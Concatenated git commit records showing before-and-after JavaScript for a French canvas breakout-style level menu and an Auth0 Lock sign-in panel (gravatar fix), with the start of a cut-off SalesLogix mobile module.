<commit_before>/*global Audio: false*/
/*global alert: false*/

/***************************************
        Déclaration des variables
***************************************/

//Variables canvas
var canvas; //Le canvas en lui-même
var scene;
var animation; //Fonction d'animation du canvas
var select; //Fonction de "collisions" choix de niveau

//Variables raquette
var x = 540, y = 700; //Position raquette

var move = true; //Activation de la raquette

var raquetteImg = new Image();
raquetteImg.src = "Raquette.png"; //Asset graphique barre
raquetteImg.width = 200;
raquetteImg.height = 50; //Dimensions asset barre

var raquetteMoveSfx = new Audio("Select.wav");
var raquetteLockedSfx = new Audio("OutSelect.wav");
var raquetteLaunchSfx = new Audio("Launch.wav");

//Variables balle
var posx = 615, posy = 649; //Position initiale de la balle

var flag = false; //Activation de la balle
var pas = 1; //Vitesse animation

var balleImg = new Image();
balleImg.src = "balle.png";
balleImg.width = 50;
balleImg.height = 50;
var rayon = 25; //Rayon balle

//Variables briques

var spaceImg = new Image();
spaceImg.src = "briqueSpace.png";

var nordicImg = new Image();
nordicImg.src = "briqueNordic.png";

var troisImg = new Image();
troisImg.src = "briquePH1.png";

var quatreImg = new Image();
quatreImg.src = "briquePH2.png";

var creditsImg = new Image();
creditsImg.src = "briqueCredits.png";

/****************************************
           Début du programme
****************************************/

//Musique de fond
var audioBG = new Audio("journey.mp3");
var musicLoop = function () {
    "use strict";
    audioBG.play();
    audioBG.volume = 0.3;
    setTimeout(musicLoop, 201500);
};
//musicLoop();

//Fonction de définition du pattern de briques (plutôt basique pour l'instant)
var creaBriques = function () {
    "use strict";
    canvas = document.getElementById('canvas');
    scene = canvas.getContext("2d");

    //Un jour ma brique viendra, ....
};

//Appel de la fonction de création des briques au chargement terminé de la page
//window.addEventListener("load", creaBriques);

//Partie commande (touches)
document.addEventListener("keydown", function (event) {     // commande barre
    "use strict";
    if (move) {
        switch (event.keyCode) {
        case 39:
            if (x >= 1040) {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x += 0;
                raquetteLockedSfx.play();
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
            } else {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x += 250;
                posx = x + 75;
                posy = y - 51;
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
                raquetteMoveSfx.play();
                animation();
            }
            break;
        case 37:
            if (x <= 40) {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x -= 0;
                raquetteLockedSfx.play();
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
            } else {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x -= 250;
                posx = x + 75;
                posy = y - 51;
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
                raquetteMoveSfx.play();
                animation();
            }
            break;
        case 32:
            flag = true;
            move = false;
            raquetteLaunchSfx.play();
            animation();
            break;
        }
    }
});

//Fonction principale : Animation du canvas et contrôle trajectoire de la balle
animation = function () {
    "use strict";
    //(Re)construction de la scène
    scene.clearRect(0, 0, 1280, 800);
    scene.beginPath();
    scene.drawImage(balleImg, posx, posy, 50, 50);
    scene.drawImage(spaceImg, 45, 330, 190, 60);
    scene.drawImage(nordicImg, 295, 330, 190, 60);
    scene.drawImage(troisImg, 545, 330, 190, 60);
    scene.drawImage(quatreImg, 795, 330, 190, 60);
    scene.drawImage(creditsImg, 1045, 330, 190, 60);
    scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
    scene.closePath();
    scene.fill();

    //Trajectoire de la balle
    if (flag) {posy -= 7; }

    //Bouclage de la fonction animation
    if (flag) {
        setTimeout(animation, 20);
    }
};

select = function () {
    "use strict";
    //Fonction de "collisions" aux "briques" de choix de niveau
    if (posy === 383 && flag) { //posy initial 649
        if (posx === 115) {
            //1er choix
            flag = false;
            alert("N'est pas encore prêt");
            location.reload();
        } else if (posx === 365) {
            //2e choix
            flag = false;
            alert("Encore moins prêt...");
            location.reload();
        } else if (posx === 615) {
            //3e choix
            flag = false;
            alert("Lancement niveau proto");
            location.replace("../Proto Anim/levelProto.html");
        } else if (posx === 865) {
            //4e choix
            flag = false;
            alert("Meuuuurge !");
            location.reload();
        } else if (posx === 1115) {
            //5e choix
            flag = false;
            location.replace("credits.html");
        }
    }
    setTimeout(select, 10);
};

//Lancement des fonctions principales après chargement de la page
setTimeout(animation, 500);
setTimeout(select, 501);

/******************************************************
                    Fin du programme
******************************************************/
<commit_msg>Revert "Pas grand chose"<commit_after>/*global Audio: false*/
/*global alert: false*/

/***************************************
        Déclaration des variables
***************************************/

//Variables canvas
var canvas; //Le canvas en lui-même
var scene;
var animation; //Fonction d'animation du canvas
var select; //Fonction de "collisions" choix de niveau

//Variables raquette
var x = 540, y = 700; //Position raquette

var move = true; //Activation de la raquette

var raquetteImg = new Image();
raquetteImg.src = "Raquette.png"; //Asset graphique barre
raquetteImg.width = 200;
raquetteImg.height = 50; //Dimensions asset barre

var raquetteMoveSfx = new Audio("Select.wav");
var raquetteLockedSfx = new Audio("OutSelect.wav");
var raquetteLaunchSfx = new Audio("Launch.wav");

//Variables balle
var posx = 615, posy = 649; //Position initiale de la balle

var flag = false; //Activation de la balle
var pas = 1; //Vitesse animation

var balleImg = new Image();
balleImg.src = "balle.png";
balleImg.width = 50;
balleImg.height = 50;
var rayon = 25; //Rayon balle

//Variables briques

var spaceImg = new Image();
spaceImg.src = "briqueSpace.png";

var nordicImg = new Image();
nordicImg.src = "briqueNordic.png";

var troisImg = new Image();
troisImg.src = "briquePH1.png";

var quatreImg = new Image();
quatreImg.src = "briquePH2.png";

var creditsImg = new Image();
creditsImg.src = "briqueCredits.png";

/****************************************
           Début du programme
****************************************/

//Musique de fond
var audioBG = new Audio("journey.mp3");
var musicLoop = function () {
    "use strict";
    audioBG.play();
    audioBG.volume = 0.3;
    setTimeout(musicLoop, 201500);
};
//musicLoop();

//Fonction de définition du pattern de briques (plutôt basique pour l'instant)
var creaBriques = function () {
    "use strict";
    canvas = document.getElementById('canvas');
    scene = canvas.getContext("2d");

    //Un jour ma brique viendra, ....
};

//Appel de la fonction de création des briques au chargement terminé de la page
window.addEventListener("load", creaBriques);

//Partie commande (touches)
document.addEventListener("keydown", function (event) {     // commande barre
    "use strict";
    if (move) {
        switch (event.keyCode) {
        case 39:
            if (x >= 1040) {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x += 0;
                raquetteLockedSfx.play();
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
            } else {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x += 250;
                posx = x + 75;
                posy = y - 51;
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
                raquetteMoveSfx.play();
                animation();
            }
            break;
        case 37:
            if (x <= 40) {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x -= 0;
                raquetteLockedSfx.play();
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
            } else {
                scene.clearRect(x, y, raquetteImg.width, raquetteImg.height);
                x -= 250;
                posx = x + 75;
                posy = y - 51;
                scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
                raquetteMoveSfx.play();
                animation();
            }
            break;
        case 32:
            flag = true;
            move = false;
            raquetteLaunchSfx.play();
            animation();
            break;
        }
    }
});

//Fonction principale : Animation du canvas et contrôle trajectoire de la balle
animation = function () {
    "use strict";
    //(Re)construction de la scène
    scene.clearRect(0, 0, 1280, 800);
    scene.beginPath();
    scene.drawImage(balleImg, posx, posy, 50, 50);
    scene.drawImage(spaceImg, 45, 330, 190, 60);
    scene.drawImage(nordicImg, 295, 330, 190, 60);
    scene.drawImage(troisImg, 545, 330, 190, 60);
    scene.drawImage(quatreImg, 795, 330, 190, 60);
    scene.drawImage(creditsImg, 1045, 330, 190, 60);
    scene.drawImage(raquetteImg, x, y, raquetteImg.width, raquetteImg.height);
    scene.closePath();
    scene.fill();

    //Trajectoire de la balle
    if (flag) {posy -= 7; }

    //Bouclage de la fonction animation
    if (flag) {
        setTimeout(animation, 20);
    }
};

select = function () {
    "use strict";
    //Fonction de "collisions" aux "briques" de choix de niveau
    if (posy === 383 && flag) { //posy initial 649
        if (posx === 115) {
            //1er choix
            flag = false;
            alert("N'est pas encore prêt");
            location.reload();
        } else if (posx === 365) {
            //2e choix
            flag = false;
            alert("Encore moins prêt...");
            location.reload();
        } else if (posx === 615) {
            //3e choix
            flag = false;
            alert("Lancement niveau proto");
            location.replace("../Proto Anim/levelProto.html");
        } else if (posx === 865) {
            //4e choix
            flag = false;
            alert("Meuuuurge !");
            location.reload();
        } else if (posx === 1115) {
            //5e choix
            flag = false;
            location.replace("credits.html");
        }
    }
    setTimeout(select, 10);
};

//Lancement des fonctions principales après chargement de la page
setTimeout(animation, 250);
setTimeout(select, 500);

/******************************************************
                    Fin du programme
******************************************************/
<|endoftext|>


<commit_before>/**
 * Module dependencies.
 */

var _ = require('underscore');
var bind = require('../bind');
var regex = require('../regex');
var stop = require('../stop-event');
var $ = require('../bonzo-augmented');
var template = require('./signin.ejs');
var create = require('../object-create');
var Emitter = require('events').EventEmitter;
var buttonTmpl = require('../html/zocial-button.ejs');
var loginActionsTmpl = require('./login_actions.ejs');
var gravatar = require('../gravatar');

/**
 * Expose SigninPanel
 */

module.exports = SigninPanel;

/**
 * Create `SigninPanel`
 *
 * @param {Auth0Lock} widget
 * @param {Object} options
 * @constructor
 */

function SigninPanel(widget, options) {
  if (!(this instanceof SigninPanel)) {
    return new SigninPanel(widget, options);
  }

  // Both `widget` and `options` are required
  if (2 !== arguments.length) {
    throw new Error('Missing parameters for SigninPanel');
  }

  this.name = 'signin';
  this.widget = widget;
  this.options = this.resolveOptions(options);
  this.el = null;

  Emitter.call(this);
}

/**
 * Inherit from `EventEmitter`
 */

SigninPanel.prototype = create(Emitter.prototype);

/**
 * Query for elements at `this.el` context
 *
 * @param {String} selector
 * @return {BonzoAugmented}
 * @public
 */

SigninPanel.prototype.query = function(selector) {
  if (!this.el) { throw new Error('Can\'t get element since no `el` is set to local context'); }
  return $(selector, this.el);
};

/**
 * Create `el`
 *
 * @param {Object} options
 * @return {NodeElement}
 * @public
 */

SigninPanel.prototype.create = function(options) {
  var opts = this.resolveOptions(options);
  var widget = this.widget;

  this.el = $.create(widget.render(template, opts))[0];
  this.bindAll();
  return this.el;
};

/**
 * Return `el` or create it
 *
 * @param {Object} options
 * @return {NodeElement}
 * @public
 */

SigninPanel.prototype.render = function() {
  return null != this.el
    ? this.el
    : this.create.apply(this, arguments);
};

/**
 * Resolves login options passed to template
 *
 * @param {Object} options
 * @return {Object}
 * @private
 */

SigninPanel.prototype.resolveOptions = function(options) {
  return _.extend({}, this.widget.options,  this.options, options);
};

/*
 * Render and bind social strategies
 *
 *@private
 */
SigninPanel.prototype.renderAndBindSocialStrategies = function () {
  var options = this.options;

  // load social buttons
  var list = this.query('.a0-iconlist');

  var socialStrategies = _.chain(options.$client.strategies).where({ social: true });

  if (options.connections) {
    // sort social strategies based on options.connections array order
    var connections = options.connections;
    socialStrategies = socialStrategies.map(function (s) {
      var n = connections.indexOf(s.connections[0].name);
      connections[n] = '';
      return [n, s];
    }).sort().map(function (x) { return x[1]; });
  }

  socialStrategies
    .map(function (s) {
      var e = {
        use_big_buttons: options._useBigSocialButtons(),
        title: options.i18n.t('loginSocialButton').replace('{connection:title}', s.title)
      };
      return  _.extend({}, s, e);
    })
    .each(function (s) { return list.append(buttonTmpl(s)); });

  if (options._getSocialStrategies().length > 0) {
    this.query('.a0-separator, .a0-iconlist').toggleClass('a0-hide', false);
  }

  this.query('.a0-zocial[data-strategy]', list).a0_on('click', bind(this.onsocialclick, this));
};

/**
 * Bind events to `this.el`, like submit
 *
 * @return {SigninPanel}
 * @private
 */

SigninPanel.prototype.bindAll = function() {
  var widget = this.widget;
  var options = this.options;

  this.renderAndBindSocialStrategies();

  this.query('.a0-email input').a0_on('input', bind(this.onemailinput, this));
  this.query('form').a0_on('submit', bind(this.onsubmit, this));

  var actions = $.create(widget.render(loginActionsTmpl, options));
  this.query('.a0-db-actions').append(actions);

  // set username mode
  if (options.usernameStyle === 'username') {
    var placeholder = options.i18n.t('signin:usernamePlaceholder');

    this.query('.a0-email input')
      .attr('type', 'text')
      .attr('title', placeholder)
      .attr('placeholder', placeholder);

    this.query('.a0-email label').text(placeholder);
  }

  var signup_btn = this.query('.a0-sign-up');
  if (!options.signupLink && signup_btn.length > 0) {
    signup_btn.a0_on('click', bind(this.onsignupclick, this));
  }

  if (!options.resetLink) {
    this.query('.a0-forgot-pass').a0_on('click', bind(this.onresetclick, this));
  }

  this.query('input').val('');

  // show email, password, separator and button if there are enterprise/db connections
  var anyEnterpriseOrDbConnection = options._isThereAnyEnterpriseOrDbConnection();
  var anySocialConnection = options._isThereAnySocialConnection();
  var anyDBConnection = options._isThereAnyDBConnection();

  this.query('.a0-email input').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);
  this.query('.a0-zocial.a0-primary').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);
  this.query('.a0-password').toggleClass('a0-hide', !anyDBConnection);
  this.query('.a0-separator').toggleClass('a0-hide', !(anyEnterpriseOrDbConnection && anySocialConnection));

  this.query('.a0-inputs').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);
  this.query('.a0-action').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);

};

/**
 * Show or hide password input whether it is or is not
 * an enterprise connection
 * XXX: This should be moved to `SigninPanel` view
 *
 * @param {Event} e
 * @private
 */
// TODO Debounce me
SigninPanel.prototype.onemailinput = function (e) {
  stop(e);
  var mailField   = this.query('.a0-email input');
  var pwdField    = this.query('.a0-password input').first();
  var nextButton  = this.query('.a0-action > button.a0-next');

  var emailDomain = this.options._extractEmailDomain(mailField.val() || '');

  var isEnterpriseConnection = this.options._isEnterpriseConnection(mailField.val() || '');
  var adConnection = this.options._findConnectionByADDomain(emailDomain);
  var msg;

  // TODO Refactor
  if (adConnection) {
    this.hrd = true;
    this.currentADConnection = adConnection;
    this.currentADConnectionDomain = emailDomain;

    this.query('.a0-sso-notice-container').removeClass('a0-hide');
    this.query('.a0-password').addClass('a0-hide');
    this.oldText = nextButton.text();

    msg = this.options.i18n.t('signin:actionDomain');
    msg = msg.replace('{domain}', emailDomain);

    nextButton.text(msg);
    nextButton.attr('title', msg);

    return pwdField.attr('disabled', true);
  }

  this.hrd = undefined;
  this.currentADConnection = undefined;
  if (this.oldText) {
    nextButton.text(this.oldText);
    nextButton.attr('title', this.oldText);
    this.oldText = undefined;
  }

  if (isEnterpriseConnection) {
    this.query('.a0-sso-notice-container').removeClass('a0-hide');
    this.query('.a0-password').addClass('a0-hide');
    this.oldText = nextButton.text();

    msg = this.options.i18n.t('signin:actionDomain');
    msg = msg.replace('{domain}', emailDomain);

    nextButton.text(msg);
    nextButton.attr('title', msg);

    return pwdField.attr('disabled', true);
  }

  this.query('.a0-sso-notice-container').addClass('a0-hide');
  this.query('.a0-password').removeClass('a0-hide');

  if ('username' !== this.options.usernameStyle && this.options.gravatar) {
    gravatar(this.widget, mailField.val());
  }

  return pwdField.removeAttr('disabled');
};

/**
 * Validate form and continue with signin
 *
 * @param {Event} e
 * @private
 */
SigninPanel.prototype.onsubmit = function(e) {
  stop(e);
  var widget = this.widget;
  var options = this.options;

  var ok = true;
  var password_input = this.query('input[name=password]');
  var password_empty = regex.empty.test(password_input.val());
  var password_disabled = password_input.attr('disabled');
  var password_required = options._isThereAnyDBConnection();
  var email_input = this.query('input[name=email]');
  var email_parsed = regex.email_parser.exec(email_input.val().toLowerCase());
  var email_empty = regex.empty.test(email_input.val());

  // Clean error container
  widget._showError();
  widget._focusError();

  if (email_empty) {
    widget._focusError(email_input);
    ok = false;
  }

  if (!widget._ignoreEmailValidations(email_input)) {
    if (!email_parsed && !email_empty) {
      widget._focusError(email_input, options.i18n.t('invalid'));
      ok = false;
    }
  }

  if (password_empty && password_required && !password_disabled) {
    widget._focusError(password_input);
    ok = false;
  }

  if (this.hrd) {
    return this.enableHRD(this.currentADConnection, this.currentADConnectionDomain);

  }

  if (ok && this.currentADConnection) {
    var conn_obj = this.options._findConnectionByADDomain(
      this.currentADConnection.domain,
      widget.$client.strategies
    );
    return widget._signinWithAuth0(this, conn_obj);
  }

  if (ok) { return widget._signin(this); }
};

/**
 * Handle `e` for social connections button click
 *
 * @param {Event} e
 * @private
 */

SigninPanel.prototype.onsocialclick = function(e) {
    stop(e);
    this.widget._signinSocial(e, null, null, this);
};

/**
 * Handle `e` for reset button action click
 *
 * @param {Event} e
 * @private
 */

SigninPanel.prototype.onresetclick = function(e) {
  stop(e);
  this.widget._resetPanel(this.options);
};

/**
 * Handle `e` for signup button action click
 *
 * @param {Event} e
 * @private
 */

SigninPanel.prototype.onsignupclick = function(e) {
  stop(e);
  this.widget._signupPanel(this.options);
};

/**
 * Enables Home Realm Discovery in signin
 *
 * @param {Connection} conn
 * @private
 */
// TODO Refactor
SigninPanel.prototype.enableHRD = function (adConnection, emailDomain) {
  this.hrd = undefined;

  var emailField = this.query('.a0-email input').first();
  var pwdField   = this.query('.a0-password input').first();
  var nextButton = this.query('.a0-action > button.a0-next');

  this.query('.a0-password').removeClass('a0-hide');
  this.query('.a0-sso-notice-container').addClass('a0-hide');
  nextButton.text(this.oldText);
  pwdField.removeAttr('disabled');

  this.widget.setPanel(this);

  var placeholder = this.options.i18n.t('signin:usernamePlaceholder');

  this._oldPlaceholder = emailField.attr('title');

  emailField
  .attr('type', 'text')
  .attr('title', placeholder)
  .attr('placeholder', placeholder);

  this.query('.a0-email label').text(placeholder);
  emailField.focus();
  emailField.val('');

  this.query('.a0-corporate-credentials').toggleClass('a0-hide');
  this.query('.a0-domain').text(emailDomain);

  // Hide other actions buttons
  var actions = $.create(this.widget.render(loginActionsTmpl, {
    showSignupAction: false,
    showResetAction: false,
    showCancel: true
  }));

  this.query('.a0-db-actions').first().deepEach(function (child) {
    $(child).hide();
  });
  this.query('.a0-db-actions').append(actions);
  this.query('.a0-db-actions').show();

  this.query('.a0-cancel').a0_on('click', bind(this.oncancel, this));
  this.currentADConnection = adConnection;
  emailField.a0_off('input');
};

/**
 * Handle `e` for cancel button action click (when doing HRD)
 *
 * @param {Event} e
 * @private
 */
// TODO Refactor
SigninPanel.prototype.oncancel = function (e) {
  stop(e);

  this.currentADConnection = undefined;

  var widget = this.widget;
  // Clean error container
  widget._showError();
  widget._focusError();
  widget.setPanel(this);

  var emailField = this.query('.a0-email input').first();
  var pwdField   = this.query('.a0-password input').first();

  this.query('.a0-db-actions').first().deepEach(function (child) {
    $(child).show();
  });

  var oldPlaceholder = this._oldPlaceholder;
  this._oldPlaceholder = undefined;

  this.query('.a0-db-actions .a0-cancel').remove();
  emailField
    .attr('type', 'text')
    .attr('title', oldPlaceholder)
    .attr('placeholder', oldPlaceholder);

  emailField.val('');
  pwdField.val('');

  this.query('.a0-email label').text(oldPlaceholder);

  this.query('.a0-corporate-credentials').toggleClass('a0-hide');
  emailField.a0_on('input', bind(this.onemailinput, this));
  emailField.focus();
};

<commit_msg>Fixes #46: Gravatar image not being displayed on HRD mode.<commit_after>/**
 * Module dependencies.
 */

var _ = require('underscore');
var bind = require('../bind');
var regex = require('../regex');
var stop = require('../stop-event');
var $ = require('../bonzo-augmented');
var template = require('./signin.ejs');
var create = require('../object-create');
var Emitter = require('events').EventEmitter;
var buttonTmpl = require('../html/zocial-button.ejs');
var loginActionsTmpl = require('./login_actions.ejs');
var gravatar = require('../gravatar');

/**
 * Expose SigninPanel
 */

module.exports = SigninPanel;

/**
 * Create `SigninPanel`
 *
 * @param {Auth0Lock} widget
 * @param {Object} options
 * @constructor
 */

function SigninPanel(widget, options) {
  if (!(this instanceof SigninPanel)) {
    return new SigninPanel(widget, options);
  }

  // Both `widget` and `options` are required
  if (2 !== arguments.length) {
    throw new Error('Missing parameters for SigninPanel');
  }

  this.name = 'signin';
  this.widget = widget;
  this.options = this.resolveOptions(options);
  this.el = null;

  Emitter.call(this);
}

/**
 * Inherit from `EventEmitter`
 */

SigninPanel.prototype = create(Emitter.prototype);

/**
 * Query for elements at `this.el` context
 *
 * @param {String} selector
 * @return {BonzoAugmented}
 * @public
 */

SigninPanel.prototype.query = function(selector) {
  if (!this.el) { throw new Error('Can\'t get element since no `el` is set to local context'); }
  return $(selector, this.el);
};

/**
 * Create `el`
 *
 * @param {Object} options
 * @return {NodeElement}
 * @public
 */

SigninPanel.prototype.create = function(options) {
  var opts = this.resolveOptions(options);
  var widget = this.widget;

  this.el = $.create(widget.render(template, opts))[0];
  this.bindAll();
  return this.el;
};

/**
 * Return `el` or create it
 *
 * @param {Object} options
 * @return {NodeElement}
 * @public
 */

SigninPanel.prototype.render = function() {
  return null != this.el
    ? this.el
    : this.create.apply(this, arguments);
};

/**
 * Resolves login options passed to template
 *
 * @param {Object} options
 * @return {Object}
 * @private
 */

SigninPanel.prototype.resolveOptions = function(options) {
  return _.extend({}, this.widget.options,  this.options, options);
};

/*
 * Render and bind social strategies
 *
 *@private
 */
SigninPanel.prototype.renderAndBindSocialStrategies = function () {
  var options = this.options;

  // load social buttons
  var list = this.query('.a0-iconlist');

  var socialStrategies = _.chain(options.$client.strategies).where({ social: true });

  if (options.connections) {
    // sort social strategies based on options.connections array order
    var connections = options.connections;
    socialStrategies = socialStrategies.map(function (s) {
      var n = connections.indexOf(s.connections[0].name);
      connections[n] = '';
      return [n, s];
    }).sort().map(function (x) { return x[1]; });
  }

  socialStrategies
    .map(function (s) {
      var e = {
        use_big_buttons: options._useBigSocialButtons(),
        title: options.i18n.t('loginSocialButton').replace('{connection:title}', s.title)
      };
      return  _.extend({}, s, e);
    })
    .each(function (s) { return list.append(buttonTmpl(s)); });

  if (options._getSocialStrategies().length > 0) {
    this.query('.a0-separator, .a0-iconlist').toggleClass('a0-hide', false);
  }

  this.query('.a0-zocial[data-strategy]', list).a0_on('click', bind(this.onsocialclick, this));
};

/**
 * Bind events to `this.el`, like submit
 *
 * @return {SigninPanel}
 * @private
 */

SigninPanel.prototype.bindAll = function() {
  var widget = this.widget;
  var options = this.options;

  this.renderAndBindSocialStrategies();

  this.query('.a0-email input').a0_on('input', bind(this.onemailinput, this));
  this.query('form').a0_on('submit', bind(this.onsubmit, this));

  var actions = $.create(widget.render(loginActionsTmpl, options));
  this.query('.a0-db-actions').append(actions);

  // set username mode
  if (options.usernameStyle === 'username') {
    var placeholder = options.i18n.t('signin:usernamePlaceholder');

    this.query('.a0-email input')
      .attr('type', 'text')
      .attr('title', placeholder)
      .attr('placeholder', placeholder);

    this.query('.a0-email label').text(placeholder);
  }

  var signup_btn = this.query('.a0-sign-up');
  if (!options.signupLink && signup_btn.length > 0) {
    signup_btn.a0_on('click', bind(this.onsignupclick, this));
  }

  if (!options.resetLink) {
    this.query('.a0-forgot-pass').a0_on('click', bind(this.onresetclick, this));
  }

  this.query('input').val('');

  // show email, password, separator and button if there are enterprise/db connections
  var anyEnterpriseOrDbConnection = options._isThereAnyEnterpriseOrDbConnection();
  var anySocialConnection = options._isThereAnySocialConnection();
  var anyDBConnection = options._isThereAnyDBConnection();

  this.query('.a0-email input').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);
  this.query('.a0-zocial.a0-primary').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);
  this.query('.a0-password').toggleClass('a0-hide', !anyDBConnection);
  this.query('.a0-separator').toggleClass('a0-hide', !(anyEnterpriseOrDbConnection && anySocialConnection));

  this.query('.a0-inputs').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);
  this.query('.a0-action').toggleClass('a0-hide', !anyEnterpriseOrDbConnection);

};

/**
 * Show or hide password input whether it is or is not
 * an enterprise connection
 * XXX: This should be moved to `SigninPanel` view
 *
 * @param {Event} e
 * @private
 */
// TODO Debounce me
SigninPanel.prototype.onemailinput = function (e) {
  stop(e);
  var mailField   = this.query('.a0-email input');
  var pwdField    = this.query('.a0-password input').first();
  var nextButton  = this.query('.a0-action > button.a0-next');

  var emailDomain = this.options._extractEmailDomain(mailField.val() || '');

  var isEnterpriseConnection = this.options._isEnterpriseConnection(mailField.val() || '');
  var adConnection = this.options._findConnectionByADDomain(emailDomain);
  var msg;

  if ('username' !== this.options.usernameStyle && this.options.gravatar) {
    gravatar(this.widget, mailField.val());
  }

  // TODO Refactor
  if (adConnection) {
    this.hrd = true;
    this.currentADConnection = adConnection;
    this.currentADConnectionDomain = emailDomain;

    this.query('.a0-sso-notice-container').removeClass('a0-hide');
    this.query('.a0-password').addClass('a0-hide');
    this.oldText = nextButton.text();

    msg = this.options.i18n.t('signin:actionDomain');
    msg = msg.replace('{domain}', emailDomain);

    nextButton.text(msg);
    nextButton.attr('title', msg);

    return pwdField.attr('disabled', true);
  }

  this.hrd = undefined;
  this.currentADConnection = undefined;
  if (this.oldText) {
    nextButton.text(this.oldText);
    nextButton.attr('title', this.oldText);
    this.oldText = undefined;
  }

  if (isEnterpriseConnection) {
    this.query('.a0-sso-notice-container').removeClass('a0-hide');
    this.query('.a0-password').addClass('a0-hide');
    this.oldText = nextButton.text();

    msg = this.options.i18n.t('signin:actionDomain');
    msg = msg.replace('{domain}', emailDomain);

    nextButton.text(msg);
    nextButton.attr('title', msg);

    return pwdField.attr('disabled', true);
  }

  this.query('.a0-sso-notice-container').addClass('a0-hide');
  this.query('.a0-password').removeClass('a0-hide');

  return pwdField.removeAttr('disabled');
};

/**
 * Validate form and continue with signin
 *
 * @param {Event} e
 * @private
 */
SigninPanel.prototype.onsubmit = function(e) {
  stop(e);
  var widget = this.widget;
  var options = this.options;

  var ok = true;
  var password_input = this.query('input[name=password]');
  var password_empty = regex.empty.test(password_input.val());
  var password_disabled = password_input.attr('disabled');
  var password_required = options._isThereAnyDBConnection();
  var email_input = this.query('input[name=email]');
  var email_parsed = regex.email_parser.exec(email_input.val().toLowerCase());
  var email_empty = regex.empty.test(email_input.val());

  // Clean error container
  widget._showError();
  widget._focusError();

  if (email_empty) {
    widget._focusError(email_input);
    ok = false;
  }

  if (!widget._ignoreEmailValidations(email_input)) {
    if (!email_parsed && !email_empty) {
      widget._focusError(email_input, options.i18n.t('invalid'));
      ok = false;
    }
  }

  if (password_empty && password_required && !password_disabled) {
    widget._focusError(password_input);
    ok = false;
  }

  if (this.hrd) {
    return this.enableHRD(this.currentADConnection, this.currentADConnectionDomain);

  }

  if (ok && this.currentADConnection) {
    var conn_obj = this.options._findConnectionByADDomain(
      this.currentADConnection.domain,
      widget.$client.strategies
    );
    return widget._signinWithAuth0(this, conn_obj);
  }

  if (ok) { return widget._signin(this); }
};

/**
 * Handle `e` for social connections button click
 *
 * @param {Event} e
 * @private
 */

SigninPanel.prototype.onsocialclick = function(e) {
    stop(e);
    this.widget._signinSocial(e, null, null, this);
};

/**
 * Handle `e` for reset button action click
 *
 * @param {Event} e
 * @private
 */

SigninPanel.prototype.onresetclick = function(e) {
  stop(e);
  this.widget._resetPanel(this.options);
};

/**
 * Handle `e` for signup button action click
 *
 * @param {Event} e
 * @private
 */

SigninPanel.prototype.onsignupclick = function(e) {
  stop(e);
  this.widget._signupPanel(this.options);
};

/**
 * Enables Home Realm Discovery in signin
 *
 * @param {Connection} conn
 * @private
 */
// TODO Refactor
SigninPanel.prototype.enableHRD = function (adConnection, emailDomain) {
  this.hrd = undefined;

  var emailField = this.query('.a0-email input').first();
  var pwdField   = this.query('.a0-password input').first();
  var nextButton = this.query('.a0-action > button.a0-next');

  this.query('.a0-password').removeClass('a0-hide');
  this.query('.a0-sso-notice-container').addClass('a0-hide');
  nextButton.text(this.oldText);
  pwdField.removeAttr('disabled');

  this.widget.setPanel(this);

  var placeholder = this.options.i18n.t('signin:usernamePlaceholder');

  this._oldPlaceholder = emailField.attr('title');

  emailField
  .attr('type', 'text')
  .attr('title', placeholder)
  .attr('placeholder', placeholder);

  this.query('.a0-email label').text(placeholder);
  emailField.focus();
  emailField.val('');

  this.query('.a0-corporate-credentials').toggleClass('a0-hide');
  this.query('.a0-domain').text(emailDomain);

  // Hide other actions buttons
  var actions = $.create(this.widget.render(loginActionsTmpl, {
    showSignupAction: false,
    showResetAction: false,
    showCancel: true
  }));

  this.query('.a0-db-actions').first().deepEach(function (child) {
    $(child).hide();
  });
  this.query('.a0-db-actions').append(actions);
  this.query('.a0-db-actions').show();

  this.query('.a0-cancel').a0_on('click', bind(this.oncancel, this));
  this.currentADConnection = adConnection;
  emailField.a0_off('input');
};

/**
 * Handle `e` for cancel button action click (when doing HRD)
 *
 * @param {Event} e
 * @private
 */
// TODO Refactor
SigninPanel.prototype.oncancel = function (e) {
  stop(e);

  this.currentADConnection = undefined;

  var widget = this.widget;
  // Clean error container
  widget._showError();
  widget._focusError();
  widget.setPanel(this);

  var emailField = this.query('.a0-email input').first();
  var pwdField   = this.query('.a0-password input').first();

  this.query('.a0-db-actions').first().deepEach(function (child) {
    $(child).show();
  });

  var oldPlaceholder = this._oldPlaceholder;
  this._oldPlaceholder = undefined;

  this.query('.a0-db-actions .a0-cancel').remove();
  emailField
    .attr('type', 'text')
    .attr('title', oldPlaceholder)
    .attr('placeholder', oldPlaceholder);

  emailField.val('');
  pwdField.val('');

  this.query('.a0-email label').text(oldPlaceholder);

  this.query('.a0-corporate-credentials').toggleClass('a0-hide');
  emailField.a0_on('input', bind(this.onemailinput, this));
  emailField.focus();
};

<|endoftext|>


<commit_before>
define('Mobile/SalesLogix/ApplicationModule', [
    'Sage/Platform/Mobile/ApplicationModule',

    'Mobile/SalesLogix/Format',
    'Mobile/SalesLogix/Template',
    'Mobile/SalesLogix/Validator',
    'Mobile/SalesLogix/Environment',

